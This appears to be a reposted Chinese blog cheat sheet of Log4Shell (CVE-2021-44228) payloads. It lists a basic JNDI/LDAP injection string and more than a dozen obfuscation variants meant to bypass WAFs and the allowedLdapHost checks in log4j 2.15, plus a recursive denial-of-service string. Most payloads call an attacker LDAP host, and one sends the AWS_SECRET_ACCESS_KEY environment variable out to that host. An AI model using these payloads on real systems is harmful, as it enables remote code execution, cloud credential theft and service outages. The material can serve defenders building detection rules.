0x00 前言
CVE-2021-44228
log4j:2.0 <= Apache log4j <= 2.14.1
patched of Java version:6u211+
, 7u201+
,8u191+
, 11.0.1+
基本Payload:
${jndi:ldap://dnslog.cn/a}
0x02 绕过
2.1 系统环境变量
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}
Apache Log4j2 文档 ${env:ENV_NAME:-default_value}
如果 系统环境变量 ENV_NAME
不可用,则使用 :-
之后的内容。你可以使用任意字符串替代 ENV_NAME
,只要它是不存在的。
当然,你也可以读取环境变量的值,比如云服务上的环境变量 AWS_SECRET_ACCESS_KEY
${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}
查看环境变量:
- Windows 上 PowerShell:
dir env
- MacOS/Linux 上 Terminal:
prinyent
orenv
2.2 大小写
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}
2.3 "::-"符号
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}
2.4 无效的unicode字符
${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}
2.5 系统属性
${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}
2.6 ":-"符号
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}
2.7 Date
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}
Java 日期格式转换,将YYYY
转换为2021
,同时它将'YYYY'
转换为 YYYY
。
2.8 URL编码
} -> %7D
{ -> %7B
$ -> %24
2.9 不存在的lookup
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}
2.10 "分块"
# JSON REST API request
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}p://somesitehackerofhell.com/z}
}
2.11 Unicode编码
${\u006a\u006e\u0064\u0069:ldap://dnslog.cn/a}
2.12 "#"
# log4j 2.15
${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}
绕过allowedLdapHost
和allowedClasses
检查。java.net.URI getHost()
方法返回#
之前的值作为真正的host。但是JNDI/LDAP
解析器将解析为连接到恶意LDAP服务器上。
2.13 DOS
# log4j 2.8 - 2.16
${${::-${::-$${::-j}}}}
2.14 PDF
其他文件自由发挥
标签:somesitehackerofhell,WAF,env,ldap,date,绕过,com,Log4j,NAME From: https://www.cnblogs.com/websec80/p/17876672.html